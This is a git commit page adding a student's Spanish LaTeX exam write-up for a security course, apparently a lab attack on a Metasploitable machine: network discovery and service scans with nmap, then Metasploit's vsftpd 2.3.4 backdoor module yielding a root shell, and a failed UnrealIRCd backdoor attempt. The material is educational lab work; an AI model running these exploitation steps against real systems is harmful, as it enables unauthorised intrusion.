SAD: add exam
Signed-off-by: Nicolás A. Ortega Froysa <nicolas@ortegas.org>
This commit is contained in:
		
							
								
								
									
										
											BIN
										
									
								
								2/SAD/exams/examen-naortega.pdf
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										
											BIN
										
									
								
								2/SAD/exams/examen-naortega.pdf
									
									
									
									
									
										Normal file
									
								
							
										
											Binary file not shown.
										
									
								
							
							
								
								
									
										209
									
								
								2/SAD/exams/examen-naortega.tex
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										209
									
								
								2/SAD/exams/examen-naortega.tex
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,209 @@
 | 
			
		||||
\documentclass[12pt,a4paper,titlepage]{article}
 | 
			
		||||
\usepackage[spanish]{babel}
 | 
			
		||||
\usepackage{hyperref}
 | 
			
		||||
\usepackage{graphicx}
 | 
			
		||||
\usepackage{subcaption}
 | 
			
		||||
\usepackage{minted}
 | 
			
		||||
 | 
			
		||||
\title{Examen SAD}
 | 
			
		||||
\author{Nicolás A. Ortega Froysa}
 | 
			
		||||
 | 
			
		||||
\begin{document}
 | 
			
		||||
\maketitle
 | 
			
		||||
 | 
			
		||||
\tableofcontents
 | 
			
		||||
\pagebreak
 | 
			
		||||
 | 
			
		||||
\section{Búsqueda de la Máquina en Red}
 | 
			
		||||
 | 
			
		||||
En primer lugar, debemos de buscar la máquina que nos interesa en la red.
 | 
			
		||||
Sabemos que estará en nuestra misma red, así que lo primero será conseguir la IP
 | 
			
		||||
de nuestra red:
 | 
			
		||||
 | 
			
		||||
\begin{minted}{console}
 | 
			
		||||
# ip a
 | 
			
		||||
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state
 | 
			
		||||
UNKNOWN group default qlen 1000
 | 
			
		||||
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
 | 
			
		||||
    inet 127.0.0.1/8 scope host lo
 | 
			
		||||
       valid_lft forever preferred_lft forever
 | 
			
		||||
    inet6 ::1/128 scope host 
 | 
			
		||||
       valid_lft forever preferred_lft forever
 | 
			
		||||
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc
 | 
			
		||||
fq_codel state UP group default qlen 1000
 | 
			
		||||
    link/ether 08:00:27:c0:9f:f8 brd ff:ff:ff:ff:ff:ff
 | 
			
		||||
    inet 192.168.200.9/28 brd 192.168.200.15 scope global
 | 
			
		||||
noprefixroute eth0
 | 
			
		||||
       valid_lft forever preferred_lft forever
 | 
			
		||||
    inet6 fe80::9e91:10e5:7a43:dbe6/64 scope link
 | 
			
		||||
noprefixroute 
 | 
			
		||||
       valid_lft forever preferred_lft forever
 | 
			
		||||
\end{minted}
 | 
			
		||||
 | 
			
		||||
Como vemos de esta salida, estamos en una red bastante pequeña, con una
 | 
			
		||||
dirección IP de 192.168.200.9, y máscara de red de 28. Ahora hemos de hacer un
 | 
			
		||||
escaneo de la red para encontrar la máquina que nos interesa (la IP que no sea
 | 
			
		||||
la nuestra):
 | 
			
		||||
 | 
			
		||||
\begin{minted}{console}
 | 
			
		||||
# nmap -sP 192.168.200.0/28
 | 
			
		||||
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-15 16:57 CET
 | 
			
		||||
Nmap scan report for 192.168.200.9
 | 
			
		||||
Host is up (0.000061s latency).
 | 
			
		||||
Nmap scan report for 192.168.200.13
 | 
			
		||||
Host is up (0.00028s latency).
 | 
			
		||||
Nmap done: 16 IP addresses (2 hosts up) scanned in 14.53
 | 
			
		||||
	seconds
 | 
			
		||||
\end{minted}
 | 
			
		||||
 | 
			
		||||
Vemos aquí que la dirección IP que nos interesa es la 192.168.200.13.
 | 
			
		||||
 | 
			
		||||
\section{Análisis de la Máquina}
 | 
			
		||||
 | 
			
		||||
Una vez que hayamos encontrado la máquina que nos interesa, tenemos que analizar
 | 
			
		||||
de qué formas podemos entrar. Para esto volvemos a hacer uso de la herramienta
 | 
			
		||||
{\tt nmap}:
 | 
			
		||||
 | 
			
		||||
\begin{minted}{console}
 | 
			
		||||
# nmap -sV 192.168.200.13
 | 
			
		||||
Nmap scan report for 192.168.200.13
 | 
			
		||||
Host is up (0.00012s latency).
 | 
			
		||||
Not shown: 989 closed tcp ports (conn-refused)
 | 
			
		||||
PORT     STATE SERVICE      VERSION
 | 
			
		||||
21/tcp   open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1
 | 
			
		||||
(protocol 2.0)
 | 
			
		||||
53/tcp   open  domain       ISC BIND 9.4.2
 | 
			
		||||
111/tcp  open  rpcbind      2 (RPC #100000)
 | 
			
		||||
139/tcp  open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup:
 | 
			
		||||
WORKGROUP)
 | 
			
		||||
445/tcp  open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup:
 | 
			
		||||
WORKGROUP)
 | 
			
		||||
2049/tcp open  nfs          2-4 (RPC #100003)
 | 
			
		||||
2121/tcp open  ccproxy-ftp?
 | 
			
		||||
3306/tcp open  mysql?
 | 
			
		||||
5432/tcp open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
 | 
			
		||||
6543/tcp open  ftp          vsftpd 2.3.4
 | 
			
		||||
6667/tcp open  irc          UnrealIRCd
 | 
			
		||||
Service Info: Host: irc.Metasploitable.LAN; OSs: Linux, Unix;
 | 
			
		||||
CPE: cpe:/o:linux:linux_kernel
 | 
			
		||||
 | 
			
		||||
Service detection performed. Please report any incorrect results
 | 
			
		||||
at https://nmap.org/submit/ .
 | 
			
		||||
Nmap done: 1 IP address (1 host up) scanned in 170.80 seconds
 | 
			
		||||
\end{minted}
 | 
			
		||||
 | 
			
		||||
Con esto podemos ver todos los servicios que provee la máquina que nos interesa,
 | 
			
		||||
en qué puerto, e incluso la versión que tiene. Podemos ver que tiene muchos
 | 
			
		||||
servicios abiertos, así que tenemos por donde elegir. Hemos de usar el comando
 | 
			
		||||
{\tt searchsploit \<servicio\>} que nos permitirá buscar {\it exploits} para el
 | 
			
		||||
servicio que buscamos. He buscado primero para OpenSSH, ya que sería lo más útil
 | 
			
		||||
(poder entrar con SSH) y lo más cómodo, pero no encontré ningún {\it exploit}
 | 
			
		||||
que me sirviera a causa de la versión (4.7p1) y que no es SFTP.
 | 
			
		||||
 | 
			
		||||
Luego, vemos que también tiene un servicio de FTP en el puerto 6543, utilizando
 | 
			
		||||
el servicio vsftpd. Si buscamos este servicio con {\tt searchsploit} vemos que
 | 
			
		||||
hay un {\it exploit} para esta versión (la 2.3.4) y también una versión de
 | 
			
		||||
Metasploit, que nos interesa para hacerlo de forma automática:
 | 
			
		||||
 | 
			
		||||
\begin{verbatim}
 | 
			
		||||
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)
 | 
			
		||||
unix/remote/17491.rb
 | 
			
		||||
\end{verbatim}
 | 
			
		||||
 | 
			
		||||
Intentaremos entrar por este método.
 | 
			
		||||
 | 
			
		||||
\section{Ataque}
 | 
			
		||||
 | 
			
		||||
\subsection{vsftpd}
 | 
			
		||||
 | 
			
		||||
Para entrar en la máquina y efectuar el ataque, usaremos la herramienta de
 | 
			
		||||
Metasploit. Esto se hace corriendo el comando {\tt msfconsole}. Una vez que
 | 
			
		||||
hayamos entrado, buscamos el {\it exploit} que nos interesa con el comando {\tt
 | 
			
		||||
search vsftpd}. Una vez que lo corremos nos saldrá la opción del {\it exploit}
 | 
			
		||||
que vimos anteriormente. Para usarla tomamos nota del número identificador que
 | 
			
		||||
tiene en la lista, y utilizamos el comando {\tt use \<n\>}.
 | 
			
		||||
 | 
			
		||||
Una vez que lo estemos utilizando, tenemos que definir los parámetros de nuestro
 | 
			
		||||
ataque, principalmente el {\it host} y el puerto. Para eso corremos los comandos
 | 
			
		||||
siguientes:
 | 
			
		||||
 | 
			
		||||
\begin{minted}{text}
 | 
			
		||||
> set RPORT 6543
 | 
			
		||||
> set RHOSTS 192.168.200.13
 | 
			
		||||
\end{minted}
 | 
			
		||||
 | 
			
		||||
Una vez configurado todo, corremos el comando {\tt exploit}, y nos debería de
 | 
			
		||||
salir un {\it shell} en la máquina objetiva (aunque no un {\it prompt}):
 | 
			
		||||
 | 
			
		||||
\begin{minted}{text}
 | 
			
		||||
> exploit
 | 
			
		||||
[*] 192.168.200.13:6543 - Banner: 220 (vsFTPd 2.3.4)
 | 
			
		||||
[*] 192.168.200.13:6543 - USER: 331 Please specify the
 | 
			
		||||
password.
 | 
			
		||||
[+] 192.168.200.13:6543 - Backdoor service has been spawned,
 | 
			
		||||
handling...
 | 
			
		||||
[+] 192.168.200.13:6543 - UID: uid=0(root) gid=0(root)
 | 
			
		||||
[*] Found shell.
 | 
			
		||||
[*] Command shell session 1 opened (192.168.200.9:36021 ->
 | 
			
		||||
192.168.200.13:6200) at 2023-02-15 17:25:52 +0100
 | 
			
		||||
 | 
			
		||||
whoami
 | 
			
		||||
root
 | 
			
		||||
\end{minted}
 | 
			
		||||
 | 
			
		||||
Como sabemos que el archivo que nos interesa se encuentra dentro del directorio
 | 
			
		||||
{\tt /opt/examen}, pero no sabemos cómo se denomina, entraremos primero allí y
 | 
			
		||||
luego imprimiremos una lista de los archivos del directorio. Finalmente
 | 
			
		||||
imprimiremos a la pantalla el contenido del archivo.
 | 
			
		||||
 | 
			
		||||
\begin{minted}{text}
 | 
			
		||||
cd /opt/examen
 | 
			
		||||
ls
 | 
			
		||||
mensaje.aes512
 | 
			
		||||
cat mensaje.aes512
 | 
			
		||||
Se acaban las clases con jiroman
 | 
			
		||||
\end{minted}
 | 
			
		||||
 | 
			
		||||
Y aquí vemos el mensaje tan secreto. Que ya hemos acabado.
 | 
			
		||||
 | 
			
		||||
\subsection{UnrealIRCd}
 | 
			
		||||
 | 
			
		||||
Vemos que también tiene UnrealIRCd instalado. No conocemos la versión, pero
 | 
			
		||||
posiblemente sea una versión explotable y podamos entrar. Buscamos otra vez con
 | 
			
		||||
{\tt searchsploit} y encontramos que hay varios {\it exploit} disponibles, pero
 | 
			
		||||
a nosotros nos interesa aquél que pone <<(Metasploit)>> y permite acceso por
 | 
			
		||||
puerta trasera. Probamos.
 | 
			
		||||
 | 
			
		||||
Entramos en {\tt msfconsole} y esta vez buscamos {\tt unrealircd}. Utilizamos la
 | 
			
		||||
opción que descubrimos anteriormente. Especificamos el {\it host}
 | 
			
		||||
(192.168.200.13), y el puerto lo dejamos igual (en 6667), ya que es la que tiene
 | 
			
		||||
la máquina. Finalmente hemos de definir el {\it payload}.
 | 
			
		||||
 | 
			
		||||
Definimos el {\it payload} genérico, {\tt cmd/unix/generic}, y luego tenemos que
 | 
			
		||||
definir el comando que queremos correr. Como queremos hacer más de una cosa en
 | 
			
		||||
la máquina, asignaremos al {\tt CMD} del {\it payload} el comando {\tt /bin/sh}
 | 
			
		||||
para abrir un {\it shell}. Una vez configurado todo esto corremos el comando
 | 
			
		||||
{\tt exploit}:
 | 
			
		||||
 | 
			
		||||
\begin{minted}{text}
 | 
			
		||||
[*] 192.168.200.13:6667 - Connected to 192.168.200.13:6667...
 | 
			
		||||
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your
 | 
			
		||||
hostname...
 | 
			
		||||
[*] 192.168.200.13:6667 - Sending backdoor command...
 | 
			
		||||
[*] Exploit completed, but no session was created.
 | 
			
		||||
\end{minted}
 | 
			
		||||
 | 
			
		||||
Como vemos, no ha tenido efecto ninguno, y hemos de buscar otra forma de entrar.
 | 
			
		||||
 | 
			
		||||
\pagebreak
 | 
			
		||||
 | 
			
		||||
\section{Derechos de Autor y Licencia}
 | 
			
		||||
 | 
			
		||||
\noindent
 | 
			
		||||
Copyright \copyright\ \the\year\ Nicolás A. Ortega Froysa
 | 
			
		||||
<nicolas@ortegas.org> \\
 | 
			
		||||
\\
 | 
			
		||||
Este documento se distribuye bajo los términos y condiciones de la licencia
 | 
			
		||||
Creative Commons Attribution No Derivatives 4.0 International.
 | 
			
		||||
 | 
			
		||||
\end{document}
 | 
			
		||||
							
								
								
									
										7
									
								
								2/SAD/exams/examen-naortega.toc
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										7
									
								
								2/SAD/exams/examen-naortega.toc
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,7 @@
 | 
			
		||||
\babel@toc {spanish}{}
 | 
			
		||||
\contentsline {section}{\numberline {1}Búsqueda de la Máquina en Red}{2}{section.1}%
 | 
			
		||||
\contentsline {section}{\numberline {2}Análisis de la Máquina}{3}{section.2}%
 | 
			
		||||
\contentsline {section}{\numberline {3}Ataque}{4}{section.3}%
 | 
			
		||||
\contentsline {subsection}{\numberline {3.1}vsftpd}{4}{subsection.3.1}%
 | 
			
		||||
\contentsline {subsection}{\numberline {3.2}UnrealIRCd}{5}{subsection.3.2}%
 | 
			
		||||
\contentsline {section}{\numberline {4}Derechos de Autor y Licencia}{6}{section.4}%
 | 
			
		||||
		Reference in New Issue
	
	Block a user